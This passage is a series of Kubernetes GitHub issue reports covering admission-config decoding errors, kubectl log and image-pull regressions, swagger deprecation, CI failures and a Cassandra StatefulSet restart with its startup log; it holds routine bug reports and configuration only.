407dbfe965f3de06b332cc22d2eb1ca07fb4d3fb\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t21:21:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r  \r \r   what happened  :\r tried to pass the following configuration to the kube-apiserver using    --admission-control-config-file  \r \r    \r apiversion: apiserver.k8s.io/v1alpha1\r kind: admissionconfiguration\r plugins:\r - name: \ resourcequota\ \r   configuration:\r   - apiversion: resourcequota.admission.k8s.io/v1alpha1\r     kind: configuration\r     limitedresources:\r     - resource: pods\r    \r kube-apiserver fails to start with the following error:\r > failed to initialize admission: no kind is registered for the type runtime.unknown\r \r   what you expected to happen  :\r expected kube-apiserver to start normally\r \r   how to reproduce it  as minimally and precisely as possible   :\r   just past above configuration in a yml file.\r   start kube-apiserver with the flag   --admission-control-config-file   set to the yml file name\r \r   anything else we need to know?  :\r investigated a bit on this.  admissionconfiguration  api object is:\r    \r // admissionpluginconfiguration provides the configuration for a single plug-in.\r type admissionpluginconfiguration struct {\r         // name is the name of the admission controller.\r         // it must match the registered admission plugin name.\r         name string\r \r         // path is the path to a configuration file that contains the plugin's\r         // configuration\r         // +optional\r         path string\r \r         // configuration is an embedded configuration object to be used as the plugin's\r         // configuration. if present, it will be used instead of the path to the configuration file.\r         // +optional\r         configuration runtime.object\r }\r    \r  when yaml file is read into memory  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/admission/config.go l70 ,  configuration  object gets decoded as type  runtime.unknown  .\r code flow then tries to  serialize it here  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/admission/config.go l134  for getting an  io.reader  . here it returns the error message which is reported by kube-apiserver\r \r \r   work-around  \r use two yaml files and pass first file name to the   --admission-control-config-file   flag and pass second file's name as  path  in the first yaml, as shown below:\r    \r   cat /home/vikas/rq_adm_config.yaml \r apiversion: apiserver.k8s.io/v1alpha1\r kind: admissionconfiguration\r plugins:\r - name: \ resourcequota\ \r   path: \ rq-config.yaml\ \r \r   cat /home/vikas/rq-config.yaml \r apiversion: resourcequota.admission.k8s.io/v1alpha1\r kind: configuration\r limitedresources:\r - resource: pods\r   matchscopes:\r   - \ resourcequotascopepriorityclassexists\ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversi}\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.0.1424+f3024879423e61-dirty\ , gitcommit:\ f3024879423e618ac1e6ff37e095ba218cb32450\ , gittreestate:\ dirty\ , buil}\r - cloud provider or hardware configuration:\r baremetal\r - os  e.g. from /etc/os-release :\r red hat enterprise linux server release 7.3  maipo \r - kernel  e.g.  uname -a  :\r 3.10.0-514.21.1.el7.x86_64\r - install tools:\r - others:\r

bazel 0.12 introduced some unintentional backwards-incompatible changes to  pkg_rpm   https://github.com/bazelbuild/bazel/issues/5049 . additionally, some helper functionality  to resolve files to their new locations  didn't land in 0.12 and are slated for 0.13 instead.\r \r there's no good way to fix this, but options to mitigate include\r   tagging all of our  pkg_rpm  rules  manual  - i don't think anything depends on them anyway\r   forking  bazelbuild/bazel  and using  pkg_rpm  from that repo  giving us control over what version of the rule we're using \r   waiting for bazel 0.13, then\r     updating the rpm specs to use the substitution helper\r     pinning the master branch to bazel >= 0.13\r     pinning all release branches to bazel <= 0.11\r \r currently this hasn't affected ci, since we're still running bazel 0.11 everywhere.\r \r cc @bentheelder @sigma

failing jobs\r  sig-release-master-blocking aws  https://k8s-testgrid.appspot.com/sig-release-master-blocking aws \r \r   failing tests\r  pull-kubernetes-e2e-kops-aws  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-kops-aws \r \r   triage results\r  kops beforesuite  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=kops&test=beforesuite \r \r the tests are currently failing in sig-release-master-blocking\r \r /   / /milestone v1.12\r /cc @tpepper @aishsundar

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r the  --all-containers=true  option was added in  45275. it allows to get logs from pods/deployments with multiple containers.\r \r it doesn't seem to work in the  master  branch  i tested on 62745905188c6b5e0d3ae4f1cc1d20ca58d27a87 .\r \r so the following commands:\r    \r kubectl logs -l somelabel=somevalue --all-containers=true\r kubectl logs pod-name-with-multiple-containers --all-containers=true\r    \r \r shows an errors like this:\r \r    \r error from server  badrequest : a container name must be specified for pod pod-name-with-multiple-containers, choose one of:  container-1 container-2 \r    \r \r   what you expected to happen  :\r \r  kubectl logs  prints logs from all pods event if pod has multiple containers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a pod with multiple containers\r 2. run  kubectl logs pod-name-with-multiple-containers --all-containers=true \r \r \r   anything else we need to know?  :\r \r it works in kubectl 1.11:\r \r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-04-10t12:46:31z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r but doesn't work in kubectl built from current  master :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.1.409+62745905188c6b-dirty\ , gitcommit:\ 62745905188c6b5e0d3ae4f1cc1d20ca58d27a87\ , gittreestate:\ dirty\ , builddate:\ 2018-08-12t13:01:41z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-04-10t12:46:31z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : see above\r - cloud provider or hardware configuration: minikube & gke\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >   \r   what happened  :\r    shell\r  kubectl get pv\r name                                       capacity   access modes   reclaim policy   status        claim                                                                                                                                     storageclass      reason    age\r pvc-50b792bb-d13c-11e8-bbfd-d43d7e09bfd6   382mi      rwo            retain           terminating   daqian1/grp-sigma-sut-pv-testpvoverflowroll-grp-sigma-sut-pv-testpvoverflowroll-5e11b1e12ba1710dfb7e9330 \r    \r \r but when edit this pv:\r    shell\r apiversion: v1\r kind: persistentvolume\r metadata:\r   annotations:\r     pv.kubernetes.io/provisioned-by: csi-hostpath\r   creationtimestamp: 2018-10-16t12:09:22z\r   deletiongraceperiodseconds: 0\r   deletiontimestamp: 2018-10-22t10:26:52z\r   finalizers:\r   - kubernetes.io/pv-protection\r   name: pvc-50b792bb-d13c-11e8-bbfd-d43d7e09bfd6\r   resourceversion: \ 67256297\ \r   selflink: /api/v1/persistentvolumes/pvc-50b792bb-d13c-11e8-bbfd-d43d7e09bfd6\r   uid: 50fe9796-d13c-11e8-bbfd-d43d7e09bfd6\r spec:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 382mi\r   claimref:\r     apiversion: v1\r     kind: persistentvolumeclaim\r     name: grp-sigma-sut-pv-testpvoverflowroll-grp-sigma-sut-pv-testpvoverflowroll-5e11b1e12ba1710dfb7e9330\r     namespace: daqian1\r     resourceversion: \ 64568038\ \r     uid: 50b792bb-d13c-11e8-bbfd-d43d7e09bfd6\r   csi:\r     driver: csi-hostpath\r     fstype: ext4\r     volumeattributes:\r       storage.kubernetes.io/csiprovisioneridentity: 1539232449098-8081-csi-hostpath\r     volumehandle: 50fd4d03-d13c-11e8-bf59-02420ba76fb3\r   persistentvolumereclaimpolicy: retain\r   storageclassname: csi-hostpath-dp\r status:\r    phase: bound \r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration:  bare metal\r - os  e.g. from /etc/os-release : centos\r - kernel  e.g.  uname -a  : 3.1\r - install tools: binary\r - others:\r

/swaggerapi  swagger 1.2  has been deprecated since 1.7 in favor of /openapi/v2 and should be removed.\r \r -     update docs/api-reference generator to use openapi or remove these docs from kubernetes/kubernetes\r -     remove swagger-ui dependency, flags, build scripts\r -     remove swagger12 dependency, flags, build scripts\r -     remove docs/swagger-spec content and generators\r \r   /cc @mbohlool

we are looking to send audit sink events to a external remote server. as things stand now, there is no way to provide authorization header for these http requests. we would like to provide a token in the auditsink via secret so that the sink server endpoint is authenticated.\r \r https://github.com/kubernetes/api/blob/b8e4ab4b136a5ad597a48852189425fece12fdff/auditregistration/v1alpha1/types.go l133\r \r is there any work around for this?\r \r /area apiserver\r  

the following resources need to be returned:  exec -> podexec portforward -> podportforward proxy -> podproxy log -> podlog

here's the question i want to answer: when i use kubectl, what cluster am i talking to?  as a developer with several clusters, this is a really important question to me.  i was looking through  kubectl config --help  and i saw the options are:        view            displays merged kubeconfig settings or a specified kubeconfig file.   set-cluster     sets a cluster entry in kubeconfig   set-credentials sets a user entry in kubeconfig   set-context     sets a context entry in kubeconfig   set             sets an individual value in a kubeconfig file   unset           unsets an individual value in a kubeconfig file   use-context     sets the current-context in a kubeconfig file      only asking @jlowdermilk did i learn that  kubectl config view --minify  was what i wanted. this seems kind of crazy!  --minify ? to see my current context?  @bgrant0607 how would you feel about one of the following options? 1. top-level \ get\  analogs for the \ put\  methods  get-cluster, get-credentials, get-context, ...  2. have  kubectl config view  output _only_ the current context by default, and have a flag like  --full  for the full config  rather than having to pass  --minify  for the current context .   leaving this for oncall and @bgrant0607 to determine priority.

not a correctness problem until you start doing unusual things with conversion/defaulting functions.  compare:  https://github.com/kubernetes/kubernetes/blob/master/pkg/conversion/converter.go l499  and:  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/v1/conversion_generated.go l4897  mostly i think it's just confusing that both the converter and the auto-generated functions call defaulting.  @wojtek-t @yujuhong

currently, the image manager in kubelet uses cadvisor to get the image file system info  capacity, usage, mountpoint, etc  for docker.  see  here  https://github.com/kubernetes/kubernetes/blob/v1.2.0-alpha.5/pkg/kubelet/image_manager.go l191  .  in order to make the image manager generic for other runtimes. we either: - have runtime implement the a similar interface  e.g.  imagefsinfo     - patch cadvisor to support more container image fs info  e.g.  cadvisor.rktimagesfsinfo      cross reference https://github.com/google/cadvisor/issues/858  cc @sjpotter @jonboulle  @feiskyer @kubernetes/sig-node

since it's supported by the api, we'd like to use it in kubectl   20437 , and  users find update confusing  https://groups.google.com/forum/ !topic/google-containers/_kconibzeqs .   we should probably rename \ update\  to \ replace\ , also, as we did in kubectl.  cc @lavalamp @caesarxuchao @soltysh @kargakis

would allow:      kubectl exec deployment/foo ...      basically make it equivalent with attach. not 1.2 at this point.

forked from discussions in  32624. we don't have tests to verifying image pulling by digests, and we should.   @smarterclayton: \ yeah, we would need to push an image in v1 schema format  from docker 1.9 or a docker 1.10 system with red hat's --use-schema2-push patch  to the registry.  i don't know whether gcr supports the legacy support behavior or not  i'm assuming it does .\

i am not sure of the status of the templates proposal, but a requirement came up to optionally specify an env var https://github.com/kopeio/kexpand/pull/8 cc @yissachar\r \r can this be done using the proposed templates syntax?\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:42:39z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : coreos\r -   kernel    e.g.  uname -a  : linux 4.6.3-coreos\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r we have a load balancer between apiserver and etcd cluster.  the load balancer shutdowns idle watch connection after certain time out.  it looks like apiserver does not like this, and it spills warning level log like this:\r \r    \r w1116 04:33:15.614498   32646 reflector.go:330  pkg/storage/cacher.go:194: watch of  api.replicationcontroller ended with: client: etcd cluster is unavailable or misconfigured\r    \r \r the error message \ etcd cluster is unavailable or misconfigured\  is a bit misleading in this situation.\r \r   what you expected to happen  :\r \r getting eof from remote server in idle connection is not really an error, so warning level is too harsh. it would be nice to silence it by changing log level to info if the cause of watch error is eof.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r configure load balancer between apiserver and etcd, and make its idle timeout to 60 seconds or something.\r \r   anything else do we need to know  :\r \r

deprecate the discovery api returning swagger and replace all instances with open api

failure cluster  834e5bb2574f9d3a4e98  https://go.k8s.io/triage 834e5bb2574f9d3a4e98        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:808 jul 11 10:40:25.271: could not reach http service through 104.197.164.210:31123 after 5m0s: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:2530           failure cluster statistics: 2 tests failed,    18 jobs failed,    144 builds failed. failure stats cover 1 day time range '17 jul 2017 22:16 utc' to '18 jul 2017 22:16 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  services should be able to change the type and ports of a service  slow  | 11 | |  k8s.io  services should be able to create a functioning nodeport service | 11 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kops-aws-slow | 37 |  18 jul 2017 21:19 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-slow/4958  | | ci-kubernetes-e2e-gke | 17 |  18 jul 2017 20:58 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke/12108  | | ci-kubernetes-e2e-gke-gci-ci-master | 15 |  18 jul 2017 20:52 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-ci-master/9154  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | bprashanth |  k8s.io  services should be able to change the type and ports of a service  slow ;  k8s.io  services should be able to create a functioning nodeport service | | sig/network |  k8s.io  services should be able to change the type and ports of a service  slow ;  k8s.io  services should be able to create a functioning nodeport service |  </details><br>   current status  https://go.k8s.io/triage 834e5bb2574f9d3a4e98

https://github.com/kubernetes/kubernetes/pull/51751 bumped the vendored docker library and introduced a regression where pods with images that don't contain an explicit \ docker.io/\  repo path result in  errimagepull  failures.\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: busybox\r spec:\r   containers:\r   - name: busybox\r     image: busybox\r     command:\r     - sleep\r     - \ 100\ \r   terminationgraceperiodseconds: 0\r   restartpolicy: never\r    \r \r results in the following error:\r    \r failed to pull image \ busybox\ : rpc error: code = unknown desc = no such image: \ docker.io/library/busybox:latest\ \r    \r \r pod gets  errimagepull \r \r  docker images  shows that the image has been pulled, though not by that name\r    \r $ docker images | grep busybox\r docker.io/busybox                                      latest              d20ae45477cb        2 weeks ago         1.13 mb\r    \r \r changing the image to  docker.io/busybox  in the pod spec corrects the issue.\r \r i think the new code that is changing the behavior is somewhere in here\r https://github.com/kubernetes/kubernetes/blob/master/vendor/github.com/docker/distribution/reference/normalize.go l78-l98\r \r  familiarizename    is a new function brought in by the bump.\r \r if i checkout the commit before the bump, the problem does not occur.\r \r @derekwaynecarr @directxman12 @dashpole \r \r related: https://bugzilla.redhat.com/show_bug.cgi?id=1496630

   /area example\r \r   what happened  :\r as per https://kubernetes.io/docs/tutorials/stateful-application/cassandra/ document the cassandra statefulsets cluster restarts containers without showing any error. the only difference is using a different namespace.\r \r   what you expected to happen  :\r the cluster should launch or should through some error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r pfb environment details\r  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-09-29t05:56:06z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 269f928217957e7126dc87e6adfa82242bfe5b1e\ , gittreestate:\ clean\ , builddate:\ 2017-07-03t15:31:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r deploying using helm\r \r log output from the pod.\r  kubectl -n default1 logs cassandra-0 -f\r starting cassandra on 172.16.102.2\r cassandra_conf_dir /etc/cassandra\r cassandra_cfg /etc/cassandra/cassandra.yaml\r cassandra_auto_bootstrap false\r cassandra_broadcast_address 172.16.102.2\r cassandra_broadcast_rpc_address 172.16.102.2\r cassandra_cluster_name default1\r cassandra_compaction_throughput_mb_per_sec\r cassandra_concurrent_compactors\r cassandra_concurrent_reads\r cassandra_concurrent_writes\r cassandra_counter_cache_size_in_mb\r cassandra_dc dc1-default1\r cassandra_disk_optimization_strategy ssd\r cassandra_endpoint_snitch simplesnitch\r cassandra_gc_warn_threshold_in_ms\r cassandra_internode_compression\r cassandra_key_cache_size_in_mb\r cassandra_listen_address 172.16.102.2\r cassandra_listen_interface\r cassandra_memtable_allocation_type\r cassandra_memtable_cleanup_threshold\r cassandra_memtable_flush_writers\r cassandra_migration_wait 1\r cassandra_num_tokens 32\r cassandra_rack rack1-default1\r cassandra_ring_delay 30000\r cassandra_rpc_address 0.0.0.0\r cassandra_rpc_interface\r cassandra_seeds cassandra-0.cassandra.default1.svc.default-staging.local\r cassandra_seed_provider org.apache.cassandra.locator.simpleseedprovider\r changed ownership of '/cassandra_data' from root to cassandra\r changed ownership of '/etc/cassandra/cassandra-env.sh' from root to cassandra\r changed ownership of '/etc/cassandra/cassandra.yaml' from root to cassandra\r changed ownership of '/etc/cassandra/jvm.options' from root to cassandra\r changed ownership of '/etc/cassandra/logback.xml' from root to cassandra\r changed ownership of '/etc/cassandra/cassandra-rackdc.properties' from root to cassandra\r changed ownership of '/etc/cassandra' from root to cassandra\r openjdk 64-bit server vm warning: cannot open file /usr/local/apache-cassandra-3.9/logs/gc.log due to no such file or directory\r info  18:12:40 configuration location: file:/etc/cassandra/cassandra.yaml\r info  18:12:41 node configuration: allocate_tokens_for_keyspace=null; authenticator=allowallauthenticator; authorizer=allowallauthorizer; auto_bootstrap=false; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; broadcast_address=172.16.102.2; broadcast_rpc_address=172.16.102.2; buffer_pool_use_heap_if_exhausted=true; cas_contention_timeout_in_ms=1000; cdc_enabled=false; cdc_free_space_check_interval_ms=250; cdc_raw_directory=null; cdc_total_space_in_mb=null; client_encryption_options=<redacted>; cluster_name=default1; column_index_cache_size_in_kb=2; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_compression=null; commitlog_directory=/cassandra_data/commitlog; commitlog_max_compression_buffers_in_pool=3; commitlog_periodic_queue_size=-1; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_batch_window_in_ms=null; commitlog_sync_period_in_ms=10000; commitlog_total_space_in_mb=null; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_compactors=null; concurrent_counter_writes=32; concurrent_materialized_view_writes=32; concurrent_reads=32; concurrent_replicates=null; concurrent_writes=32; counter_cache_keys_to_save=2147483647; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; credentials_cache_max_entries=1000; credentials_update_interval_in_ms=-1; credentials_validity_in_ms=2000; cross_node_timeout=false; data_file_directories= ljava.lang.string;@11dc3715; disk_access_mode=auto; disk_failure_policy=stop; disk_optimization_estimate_percentile=0.95; disk_optimization_page_cross_chance=0.1; disk_optimization_strategy=ssd; dynamic_snitch=true; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_scripted_user_defined_functions=false; enable_user_defined_functions=false; enable_user_defined_functions_threads=true; encryption_options=null; endpoint_snitch=gossipingpropertyfilesnitch; file_cache_size_in_mb=null; gc_log_threshold_in_ms=200; gc_warn_threshold_in_ms=1000; hinted_handoff_disabled_datacenters=  ; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; hints_compression=null; hints_directory=/cassandra_data/hints; hints_flush_period_in_ms=10000; incremental_backups=false; index_interval=null; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; initial_token=null; inter_dc_stream_throughput_outbound_megabits_per_sec=200; inter_dc_tcp_nodelay=false; internode_authenticator=null; internode_compression=all; internode_recv_buff_size_in_bytes=null; internode_send_buff_size_in_bytes=null; key_cache_keys_to_save=2147483647; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=172.16.102.2; listen_interface=null; listen_interface_prefer_ipv6=false; listen_on_broadcast_address=false; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; max_hints_file_size_in_mb=128; max_mutation_size_in_kb=null; max_streaming_retries=3; max_value_size_in_mb=256; memtable_allocation_type=heap_buffers; memtable_cleanup_threshold=null; memtable_flush_writers=1; memtable_heap_space_in_mb=null; memtable_offheap_space_in_mb=null; min_free_space_per_drive_in_mb=50; native_transport_max_concurrent_connections=-1; native_transport_max_concurrent_connections_per_ip=-1; native_transport_max_frame_size_in_mb=256; native_transport_max_threads=128; native_transport_port=9042; native_transport_port_ssl=null; num_tokens=32; otc_coalescing_strategy=timehorizon; otc_coalescing_window_us=200; partitioner=org.apache.cassandra.dht.murmur3partitioner; permissions_cache_max_entries=1000; permissions_update_interval_in_ms=-1; permissions_validity_in_ms=2000; phi_convict_threshold=8.0; prepared_statements_cache_size_mb=null; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.noscheduler; request_scheduler_id=null; request_scheduler_options=null; request_timeout_in_ms=10000; role_manager=cassandrarolemanager; roles_cache_max_entries=1000; roles_update_interval_in_ms=-1; roles_validity_in_ms=2000; row_cache_class_name=org.apache.cassandra.cache.ohcprovider; row_cache_keys_to_save=2147483647; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=0.0.0.0; rpc_interface=null; rpc_interface_prefer_ipv6=false; rpc_keepalive=true; rpc_listen_backlog=50; rpc_max_threads=2147483647; rpc_min_threads=16; rpc_port=9160; rpc_recv_buff_size_in_bytes=null; rpc_send_buff_size_in_bytes=null; rpc_server_type=sync; saved_caches_directory=/cassandra_data/saved_caches; seed_provider=org.apache.cassandra.locator.simpleseedprovider{seeds=cassandra-0.cassandra.default1.svc.default-staging.local}; server_encryption_options=<redacted>; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; stream_throughput_outbound_megabits_per_sec=200; streaming_socket_timeout_in_ms=86400000; thrift_framed_transport_size_in_mb=15; thrift_max_message_length_in_mb=16; thrift_prepared_statements_cache_size_mb=null; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; transparent_data_encryption_options=org.apache.cassandra.config.transparentdataencryptionoptions@69930714; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; user_defined_function_fail_timeout=1500; user_defined_function_warn_timeout=500; user_function_timeout_policy=die; windows_timer_interval=1; write_request_timeout_in_ms=2000 \r info  18:12:41 diskaccessmode 'auto' determined to be mmap, indexaccessmode is mmap\r info  18:12:41 global memtable on-heap threshold is enabled at 128mb\r info  18:12:41 global memtable off-heap threshold is enabled at 128mb\r info  18:12:41 unable to load cassandra-topology.properties; compatibility mode disabled\r warn  18:12:41 small commitlog volume detected at /cassandra_data/commitlog; setting commitlog_total_space_in_mb to 7677.  you can override this in cassandra.yaml\r warn  18:12:41 small cdc volume detected at /usr/local/apache-cassandra-3.9/data/cdc_raw; setting cdc_total_space_in_mb to 1278.  you can override this in cassandra.yaml\r warn  18:12:41 only 27.420gib free across all data volumes. consider adding more capacity to your cluster or removing obsolete snapshots\r info  18:12:41 hostname: cassandra-0.cassandra.default1.svc.default-staging.local\r info  18:12:41 jvm vendor/version: openjdk 64-bit server vm/1.8.0_121\r info  18:12:41 heap size: 512.000mib/512.000mib\r info  18:12:41 code cache non-heap memory: init = 2555904 2496k  used = 3928256 3836k  committed = 3997696 3904k  max = 251658240 245760k \r info  18:12:41 metaspace non-heap memory: init = 0 0k  used = 15626240 15260k  committed = 16252928 15872k  max = -1 -1k \r info  18:12:41 compressed class space non-heap memory: init = 0 0k  used = 1877440 1833k  committed = 2097152 2048k  max = 1073741824 1048576k \r info  18:12:41 g1 eden space heap memory: init = 28311552 27648k  used = 26214400 25600k  committed = 33554432 32768k  max = -1 -1k \r info  18:12:41 g1 survivor space heap memory: init = 0 0k  used = 4194304 4096k  committed = 4194304 4096k  max = -1 -1k \r info  18:12:41 g1 old gen heap memory: init = 508559360 496640k  used = 1410560 1377k  committed = 508559360 496640k  max = 536870912 524288k \r info  18:12:41 classpath: /etc/cassandra:/usr/local/apache-cassandra-3.9/build/classes/main:/usr/local/apache-cassandra-3.9/build/classes/thrift:/usr/local/apache-cassandra-3.9/lib/hdrhistogram-2.1.9.jar:/usr/local/apache-cassandra-3.9/lib/st4-4.0.8.jar:/usr/local/apache-cassandra-3.9/lib/airline-0.6.jar:/usr/local/apache-cassandra-3.9/lib/antlr-runtime-3.5.2.jar:/usr/local/apache-cassandra-3.9/lib/apache-cassandra-3.9.jar:/usr/local/apache-cassandra-3.9/lib/apache-cassandra-clientutil-3.9.jar:/usr/local/apache-cassandra-3.9/lib/apache-cassandra-thrift-3.9.jar:/usr/local/apache-cassandra-3.9/lib/asm-5.0.4.jar:/usr/local/apache-cassandra-3.9/lib/caffeine-2.2.6.jar:/usr/local/apache-cassandra-3.9/lib/cassandra-driver-core-3.0.1-shaded.jar:/usr/local/apache-cassandra-3.9/lib/commons-cli-1.1.jar:/usr/local/apache-cassandra-3.9/lib/commons-codec-1.2.jar:/usr/local/apache-cassandra-3.9/lib/commons-lang3-3.1.jar:/usr/local/apache-cassandra-3.9/lib/commons-math3-3.2.jar:/usr/local/apache-cassandra-3.9/lib/compress-lzf-0.8.4.jar:/usr/local/apache-cassandra-3.9/lib/concurrent-trees-2.4.0.jar:/usr/local/apache-cassandra-3.9/lib/concurrentlinkedhashmap-lru-1.4.jar:/usr/local/apache-cassandra-3.9/lib/disruptor-3.0.1.jar:/usr/local/apache-cassandra-3.9/lib/ecj-4.4.2.jar:/usr/local/apache-cassandra-3.9/lib/guava-18.0.jar:/usr/local/apache-cassandra-3.9/lib/high-scale-lib-1.0.6.jar:/usr/local/apache-cassandra-3.9/lib/hppc-0.5.4.jar:/usr/local/apache-cassandra-3.9/lib/jackson-core-asl-1.9.2.jar:/usr/local/apache-cassandra-3.9/lib/jackson-mapper-asl-1.9.2.jar:/usr/local/apache-cassandra-3.9/lib/jamm-0.3.0.jar:/usr/local/apache-cassandra-3.9/lib/javax.inject.jar:/usr/local/apache-cassandra-3.9/lib/jbcrypt-0.3m.jar:/usr/local/apache-cassandra-3.9/lib/jcl-over-slf4j-1.7.7.jar:/usr/local/apache-cassandra-3.9/lib/jflex-1.6.0.jar:/usr/local/apache-cassandra-3.9/lib/jna-4.0.0.jar:/usr/local/apache-cassandra-3.9/lib/joda-time-2.4.jar:/usr/local/apache-cassandra-3.9/lib/json-simple-1.1.jar:/usr/local/apache-cassandra-3.